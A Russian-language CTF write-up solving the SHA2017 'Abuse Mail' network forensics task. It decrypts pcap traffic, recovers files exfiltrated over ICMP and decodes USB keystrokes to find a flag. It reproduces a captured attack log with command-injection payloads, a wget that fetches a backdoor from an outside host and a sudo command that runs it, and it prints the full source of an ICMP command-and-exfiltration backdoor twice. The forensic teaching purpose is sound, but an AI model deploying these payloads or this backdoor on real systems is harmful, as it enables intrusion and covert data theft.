Всем доброго времени суток. Только что подошел к концу SHA2017 CTF и в этой статье, я бы хотел рассмотреть решение одного интересного таска Abuse Mail (300) из раздела Network.
Начнём. Было дано описание задания, и архив:
Our abuse desk received an mail that someone from our network has hacked their company. With their help we found some suspected traffic in our network logs, but we can't find what exactly has happened. Can you help us to catch the culprit?
Скачиваем и распаковываем архив, в котором нас ждут 3 *.pcap файла:
abuse01.pcap
В самом начале дампа идёт telnet трафик:
Промотав чуть ниже, замечаем очередную преграду, в виде множества ESP пакетов:
После непродолжительного поиска в google, находим статью о том, как расшифровать ESP трафик. Просмотрев содержимое telnet пакетов, убеждаемся, что это именно то что нам нужно:
Выполнив настройку Wireshark, на основе полученных данных, можем спокойно посмотреть расшифрованный трафик. Наибольший интерес, тут представляют HTTP пакеты, в самом конце дампа:
В которых можно найти скрипт на Python, дающий подсказку к анализу следующих дампов:
ESP Dump
GET / HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
0
GET /css/style.css HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.29.0.1/
Connection: keep-alive
If-Modified-Since: Wed, 26 Jul 2017 16:37:11 GMT
If-None-Match: "5978c537-2314"
HTTP/1.1 304 Not Modified
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:42:41 GMT
Last-Modified: Wed, 26 Jul 2017 16:37:11 GMT
Connection: keep-alive
ETag: "5978c537-2314"
GET /?ip=google.com HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.29.0.1/
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:42:48 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>Ping service 0.1</title>
<meta name="description" content="Ping service 0.1">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<header class="o-header">
<div class="o-container">
<h1 class="o-header__title">Ping service 0.1</h1>
</div>
</header>
<main class="o-main">
<div class="o-container">
<div class="o-section">
<div id="tabs" class="c-tabs no-js">
<div class="c-tabs-nav">
<a href="#" class="c-tabs-nav__link is-active">
<span>Ping System</span>
</a>
</div>
<div class="c-tab">
<div class="c-tab__content">
<h2>Ping system</h2>
<p>
<pre>PING google.com (172.217.17.110) 56(84) bytes of data.
64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=1 ttl=55 time=9.12 ms
64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=2 ttl=55 time=8.86 ms
64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=3 ttl=55 time=10.3 ms
64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=4 ttl=55 time=8.06 ms
--- google.com ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 8.062/9.094/10.332/0.819 ms
</pre> </p>
</div>
</div>
</div>
</div>
</div>
</main>
<footer class="o-footer">
<div class="o-container">
<small>© 2017, SHA2017 CTF</small>
</div>
</footer>
</body>
</html>
GET /?ip=google.com;ls HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:42:55 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>Ping service 0.1</title>
<meta name="description" content="Ping service 0.1">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<header class="o-header">
<div class="o-container">
<h1 class="o-header__title">Ping service 0.1</h1>
</div>
</header>
<main class="o-main">
<div class="o-container">
<div class="o-section">
<div id="tabs" class="c-tabs no-js">
<div class="c-tabs-nav">
<a href="#" class="c-tabs-nav__link is-active">
<span>Ping System</span>
</a>
</div>
<div class="c-tab">
<div class="c-tab__content">
<h2>Ping system</h2>
<p>
<pre>PING google.com (172.217.17.110) 56(84) bytes of data.
64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=1 ttl=55 time=8.66 ms
64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=2 ttl=55 time=9.44 ms
64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=3 ttl=55 time=10.0 ms
64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=4 ttl=55 time=8.44 ms
--- google.com ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 8.445/9.153/10.057/0.639 ms
css
index.php
</pre> </p>
</div>
</div>
</div>
</div>
</div>
</main>
<footer class="o-footer">
<div class="o-container">
<small>© 2017, SHA2017 CTF</small>
</div>
</footer>
</body>
</html>
GET /?ip=;ls%20-la HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:43:03 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>Ping service 0.1</title>
<meta name="description" content="Ping service 0.1">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<header class="o-header">
<div class="o-container">
<h1 class="o-header__title">Ping service 0.1</h1>
</div>
</header>
<main class="o-main">
<div class="o-container">
<div class="o-section">
<div id="tabs" class="c-tabs no-js">
<div class="c-tabs-nav">
<a href="#" class="c-tabs-nav__link is-active">
<span>Ping System</span>
</a>
</div>
<div class="c-tab">
<div class="c-tab__content">
<h2>Ping system</h2>
<p>
<pre>total 16
drwxr-xr-x 3 root root 4096 Jul 26 09:36 .
drwxr-xr-x 3 root root 4096 Jul 26 03:45 ..
drwxr-x--- 2 www-data www-data 4096 Jul 26 09:37 css
-rwxr-xr-x 1 www-data www-data 1664 Jul 26 04:46 index.php
</pre> </p>
</div>
</div>
</div>
</div>
</div>
</main>
<footer class="o-footer">
<div class="o-container">
<small>© 2017, SHA2017 CTF</small>
</div>
</footer>
</body>
</html>
GET /?ip=;id HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:43:11 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>Ping service 0.1</title>
<meta name="description" content="Ping service 0.1">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<header class="o-header">
<div class="o-container">
<h1 class="o-header__title">Ping service 0.1</h1>
</div>
</header>
<main class="o-main">
<div class="o-container">
<div class="o-section">
<div id="tabs" class="c-tabs no-js">
<div class="c-tabs-nav">
<a href="#" class="c-tabs-nav__link is-active">
<span>Ping System</span>
</a>
</div>
<div class="c-tab">
<div class="c-tab__content">
<h2>Ping system</h2>
<p>
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre> </p>
</div>
</div>
</div>
</div>
</div>
</main>
<footer class="o-footer">
<div class="o-container">
<small>© 2017, SHA2017 CTF</small>
</div>
</footer>
</body>
</html>
GET /?ip=;sudo%20-l HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:43:16 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>Ping service 0.1</title>
<meta name="description" content="Ping service 0.1">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<header class="o-header">
<div class="o-container">
<h1 class="o-header__title">Ping service 0.1</h1>
</div>
</header>
<main class="o-main">
<div class="o-container">
<div class="o-section">
<div id="tabs" class="c-tabs no-js">
<div class="c-tabs-nav">
<a href="#" class="c-tabs-nav__link is-active">
<span>Ping System</span>
</a>
</div>
<div class="c-tab">
<div class="c-tab__content">
<h2>Ping system</h2>
<p>
<pre>Matching Defaults entries for www-data on router:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on router:
(ALL : ALL) NOPASSWD: ALL
</pre> </p>
</div>
</div>
</div>
</div>
</div>
</main>
<footer class="o-footer">
<div class="o-container">
<small>© 2017, SHA2017 CTF</small>
</div>
</footer>
</body>
</html>
GET /css/style.css HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.29.0.1/?ip=;sudo%20-l
Connection: keep-alive
If-Modified-Since: Wed, 26 Jul 2017 16:37:11 GMT
If-None-Match: "5978c537-2314"
HTTP/1.1 304 Not Modified
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:43:16 GMT
Last-Modified: Wed, 26 Jul 2017 16:37:11 GMT
Connection: keep-alive
ETag: "5978c537-2314"
GET /?ip=%3Bwget%20http://10.5.5.207/backdoor.py%20-O%20/tmp/backdoor.py HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:43:36 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>Ping service 0.1</title>
<meta name="description" content="Ping service 0.1">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<header class="o-header">
<div class="o-container">
<h1 class="o-header__title">Ping service 0.1</h1>
</div>
</header>
<main class="o-main">
<div class="o-container">
<div class="o-section">
<div id="tabs" class="c-tabs no-js">
<div class="c-tabs-nav">
<a href="#" class="c-tabs-nav__link is-active">
<span>Ping System</span>
</a>
</div>
<div class="c-tab">
<div class="c-tab__content">
<h2>Ping system</h2>
<p>
<pre>--2017-07-26 09:43:36-- http://10.5.5.207/backdoor.py
Connecting to 10.5.5.207:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2428 (2.4K) [text/x-python]
Saving to: '/tmp/backdoor.py'
0K .. 100% 458M=0s
2017-07-26 09:43:36 (458 MB/s) - '/tmp/backdoor.py' saved [2428/2428]
</pre> </p>
</div>
</div>
</div>
</div>
</div>
</main>
<footer class="o-footer">
<div class="o-container">
<small>© 2017, SHA2017 CTF</small>
</div>
</footer>
</body>
</html>
GET /?ip=%3Bcat%20/tmp/backdoor.py HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:43:47 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>Ping service 0.1</title>
<meta name="description" content="Ping service 0.1">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<header class="o-header">
<div class="o-container">
<h1 class="o-header__title">Ping service 0.1</h1>
</div>
</header>
<main class="o-main">
<div class="o-container">
<div class="o-section">
<div id="tabs" class="c-tabs no-js">
<div class="c-tabs-nav">
<a href="#" class="c-tabs-nav__link is-active">
<span>Ping System</span>
</a>
</div>
<div class="c-tab">
<div class="c-tab__content">
<h2>Ping system</h2>
<p>
<pre>#!/usr/bin/env python
import base64
import sys
import time
import subprocess
import threading
from Crypto import Random
from Crypto.Cipher import AES
from scapy.all import *
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]
magic = "SHA2017"
class AESCipher:
def __init__( self, key ):
self.key = key
def encrypt( self, raw ):
raw = pad(raw)
iv = Random.new().read( AES.block_size )
cipher = AES.new( self.key, AES.MODE_CBC, iv )
return base64.b64encode( iv + cipher.encrypt( raw ) )
def decrypt( self, enc ):
enc = base64.b64decode(enc)
iv = enc[:16]
cipher = AES.new(self.key, AES.MODE_CBC, iv )
return unpad(cipher.decrypt( enc[16:] ))
def run_command(cmd):
ps = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
output = ps.communicate()[0]
return output
def send_ping(host, magic, data):
data = cipher.encrypt(data)
load = "{}:{}".format(magic, data)
time.sleep(1)
sr(IP(dst=host)/ICMP()/load, timeout=1, verbose=0)
def chunks(L, n):
for i in xrange(0, len(L), n):
yield L[i:i+n]
def get_file(host, magic, fn):
time.sleep(1)
data = base64.urlsafe_b64encode(open(fn, "rb").read())
cnt = 0
icmp_threads = []
for line in chunks(data, 500):
t = threading.Thread(target = send_ping, args = (host,magic, "getfile:{}:{}".format(cnt,line)))
t.daemon = True
t.start()
icmp_threads.append(t)
cnt += 1
for t in icmp_threads:
t.join()
cipher = AESCipher(sys.argv[1])
while True:
try:
pkts = sniff(filter="icmp", timeout =5,count=1)
for packet in pkts:
if str(packet.getlayer(ICMP).type) == "8":
input = packet[IP].load
if input[0:len(magic)] == magic:
input = input.split(":")
data = cipher.decrypt(input[1]).split(":")
ip = packet[IP].src
if data[0] == "command":
output = run_command(data[1])
send_ping(ip, magic, "command:{}".format(output))
if data[0] == "getfile":
#print "[+] Sending file {}".format(data[1])
get_file(ip, magic, data[1])
except:
pass
</pre> </p>
</div>
</div>
</div>
</div>
</div>
</main>
<footer class="o-footer">
<div class="o-container">
<small>© 2017, SHA2017 CTF</small>
</div>
</footer>
</body>
</html>
GET /?ip=%3Bnohup%20sudo%20python%20/tmp/backdoor.py%20K8djhaIU8H2d1jNb%20\& HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
backdoor.py
#!/usr/bin/env python
import base64
import sys
import time
import subprocess
import threading
from Crypto import Random
from Crypto.Cipher import AES
from scapy.all import *
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]
magic = "SHA2017"
class AESCipher:
def __init__( self, key ):
self.key = key
def encrypt( self, raw ):
raw = pad(raw)
iv = Random.new().read( AES.block_size )
cipher = AES.new( self.key, AES.MODE_CBC, iv )
return base64.b64encode( iv + cipher.encrypt( raw ) )
def decrypt( self, enc ):
enc = base64.b64decode(enc)
iv = enc[:16]
cipher = AES.new(self.key, AES.MODE_CBC, iv )
return unpad(cipher.decrypt( enc[16:] ))
def run_command(cmd):
ps = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
output = ps.communicate()[0]
return output
def send_ping(host, magic, data):
data = cipher.encrypt(data)
load = "{}:{}".format(magic, data)
time.sleep(1)
sr(IP(dst=host)/ICMP()/load, timeout=1, verbose=0)
def chunks(L, n):
for i in xrange(0, len(L), n):
yield L[i:i+n]
def get_file(host, magic, fn):
time.sleep(1)
data = base64.urlsafe_b64encode(open(fn, "rb").read())
cnt = 0
icmp_threads = []
for line in chunks(data, 500):
t = threading.Thread(target = send_ping, args = (host,magic, "getfile:{}:{}".format(cnt,line)))
t.daemon = True
t.start()
icmp_threads.append(t)
cnt += 1
for t in icmp_threads:
t.join()
cipher = AESCipher(sys.argv[1])
while True:
try:
pkts = sniff(filter="icmp", timeout =5,count=1)
for packet in pkts:
if str(packet.getlayer(ICMP).type) == "8":
input = packet[IP].load
if input[0:len(magic)] == magic:
input = input.split(":")
data = cipher.decrypt(input[1]).split(":")
ip = packet[IP].src
if data[0] == "command":
output = run_command(data[1])
send_ping(ip, magic, "command:{}".format(output))
if data[0] == "getfile":
#print "[+] Sending file {}".format(data[1])
get_file(ip, magic, data[1])
except:
pass
А так же параметры для запуска этого скрипта:
abuse02.pcap
Изменим немного полученный скрипт:
backdoor.patch
--- backdoor_original.py 2017-08-06 18:21:29.575844000 +0300
+++ backdoor.py 2017-08-06 18:24:20.662678100 +0300
@@ -70,22 +70,16 @@
cipher = AESCipher(sys.argv[1])
-while True:
- try:
- pkts = sniff(filter="icmp", timeout=5, count=1)
-
- for packet in pkts:
- if str(packet.getlayer(ICMP).type) == "8":
- input = packet[IP].load
- if input[0:len(magic)] == magic:
- input = input.split(":")
- data = cipher.decrypt(input[1]).split(":")
- ip = packet[IP].src
- if data[0] == "command":
- output = run_command(data[1])
- send_ping(ip, magic, "command:{}".format(output))
- if data[0] == "getfile":
- # print "[+] Sending file {}".format(data[1])
- get_file(ip, magic, data[1])
- except:
- pass
+file = {}
+try:
+ pkts = rdpcap(sys.argv[2])
+ fname = ''
+ for packet in pkts:
+ if str(packet.getlayer(ICMP).type) == "8":
+ input = packet[IP].load
+ if input[0:len(magic)] == magic:
+ input = input.split(":")
+ data = cipher.decrypt(input[1]).split(":")
+ print('[*] DATA: %s' % data)
+except:
+ pass
Нам не нужно чтобы скрипт перехватывал сетевые пакеты и выполнял команды, вместо этого теперь он читает полученный дамп трафика, и выводит его содержимое в консоль. Применим эти изменения, и запустим его:
$ patch < backdoor.patch
$ ./backdoor.py K8djhaIU8H2d1jNb ./abuse02.pcap
Среди полученного вывода, наибольший интерес для нас представляют сертификаты:
Сохраним их себе, они нам ещё понадобятся. Из интересного, в самом конце можно заметить, отправку 2-х команд для активации перехвата трафика внутри сети, и с HID-устройств:
abuse03.pcap
Запустив тот же скрипт для последнего дампа, можно заметить, что он содержит команды на получение созданных ранее дампов, так как файлы перед отправкой разбиваются на множество частей, а склеивать в ручную всё это лень, то внесём в backdoor.py, ещё пару изменений:
backdoor.patch
--- backdoor.py 2017-08-06 18:40:20.763604400 +0300
+++ backdoor.py 2017-08-06 18:39:42.072949300 +0300
@@ -68,8 +68,16 @@
t.join()
-cipher = AESCipher(sys.argv[1])
+def save_file(data, fname):
+ file = open(fname, 'w')
+ txt = ''
+ for x in range(len(data)):
+ txt += data[x]
+ file.write(base64.urlsafe_b64decode(txt))
+ file.close()
+
+cipher = AESCipher(sys.argv[1])
file = {}
try:
pkts = rdpcap(sys.argv[2])
@@ -81,5 +89,17 @@
input = input.split(":")
data = cipher.decrypt(input[1]).split(":")
print('[*] DATA: %s' % data)
+ ip = packet[IP].src
+ if data[1].isdigit():
+ file[int(data[1])] = data[2]
+ else:
+ fname = data[1]
+ save_file(file, 'intranet.pcap')
+ file = {}
+ if data[0] == "command":
+ pass
+ if data[0] == "getfile":
+ print "[+] Sending file {}".format(data[1])
+ save_file(file, 'usb.pcap')
except:
pass
Применяем и запускаем:
$ patch < backdoor.patch
$ ./backdoor.py K8djhaIU8H2d1jNb ./abuse03.pcap
На выходе, получаем 2 файла: intranet.pcap и usb.pcap:
Первый дамп содержит SSL трафик, поэтому предварительно, нужно добавить найденный ранее сертификат. Переходим Edit -> Preferences -> Protocols -> SSL:
RSA key list
IP address: 192.168.1.2
Port: 443
Protocol: data
Key File: intranet.key
Применив настройки, извлекаем единственный архив secret.zip:
И казалось бы, всё. Архив у нас, в архиве флаг, осталось его только забрать. Но! Авторы видимо решили максимально осложнить жизнь, тем кто будет решать их таск, зашифровав содержимое архива паролем:
Вспоминаем, про второй дамп usb.pcap, ещё пара запросов в гугл, и находим статью и скрипт, с помощью которого можно прочитать содержимое этого дампа.
Добавив в скрипт поддержку большего количества скан-кодов, и проверку нажатия клавиши shift — это байт по смещению 0x40. На скрине ниже «желтым квадратом» отмечен скан-код, а «желтым прямоугольником» — байт состояния клавиши shift, так же нам понадобится URB id:
В итоге, получаем такой вариант keyboard.py, для парсинга USB пакетов:
#!/usr/bin/python
import binascii
import dpkt
import struct
import sys
# Start the pcap file parsing
f = open(sys.argv[1], 'rb')
pcap = dpkt.pcap.Reader(f)
# Create a partial mapping from keycodes to ASCII chars
keys = {}
keys.update({
i + 0x4: chr(i + ord('a'))
for i in range(26)
})
keys.update({
i + 0x1e: chr(i + ord('1'))
for i in range(9)
})
keys[0x27] = '0'
keys.update({
0x28: '\n',
0x2b: '\t',
0x2c: ' ',
0x2d: '-',
0x2e: '=',
0x2f: '[',
0x30: ']',
0x31: '\\',
0x33: ';',
0x34: '\'',
0x35: '`',
0x36: ',',
0x37: '.',
0x38: '/',
})
keys_shift = {}
keys_shift.update({
i + 0x4: chr(i + ord('A'))
for i in range(26)
})
keys_shift.update({
0x1e: '!',
0x1f: '@',
0x20: '#',
0x21: '$',
0x22: '%',
0x23: '^',
0x24: '&',
0x25: '*',
0x26: '(',
0x27: ')',
0x2e: '+',
0x2f: '{',
0x30: '}',
0x31: '|',
0x33: ':',
0x34: '"',
0x35: '~',
0x36: '<',
0x37: '>',
0x38: '?',
})
txt = ''
# Then iterate over each USB frame
i = 0
for ts, buf in pcap:
# We are interested only in packets that has the expected URB id, and
# packets carrying keycodes embed exactly 8 bytes.
urb_id = ''.join(reversed(buf[:8]))
i += 1
if binascii.hexlify(urb_id) != 'ffff8800290f2ac0':
continue
data_length, = struct.unpack('<I', buf[0x24:0x28])
if data_length != 8:
continue
key_code = ord(buf[0x42])
shift_state = ord(buf[0x40])
if not key_code:
continue
if shift_state:
# print('[%d] key_code: %s char: %s' % (i, hex(key_code), keys_shift[key_code]))
txt += keys_shift[key_code]
else:
# print('[%d] key_code: %s char: %s' % (i, hex(key_code), keys[key_code]))
txt += keys[key_code]
# sys.stdout.write(keys[key_code])
print(txt)
После запуска скрипт выводит все нажатые клавиши:
Отлично, у нас есть пароль, пора распаковать архив и наконец-то забрать флаг:
Задание пройдено. За этот флаг можно было получить +300 очков в команду.
Спасибо организаторам, за такой интересный таск!
g0rd1as
Замороченное, однако, задание! :)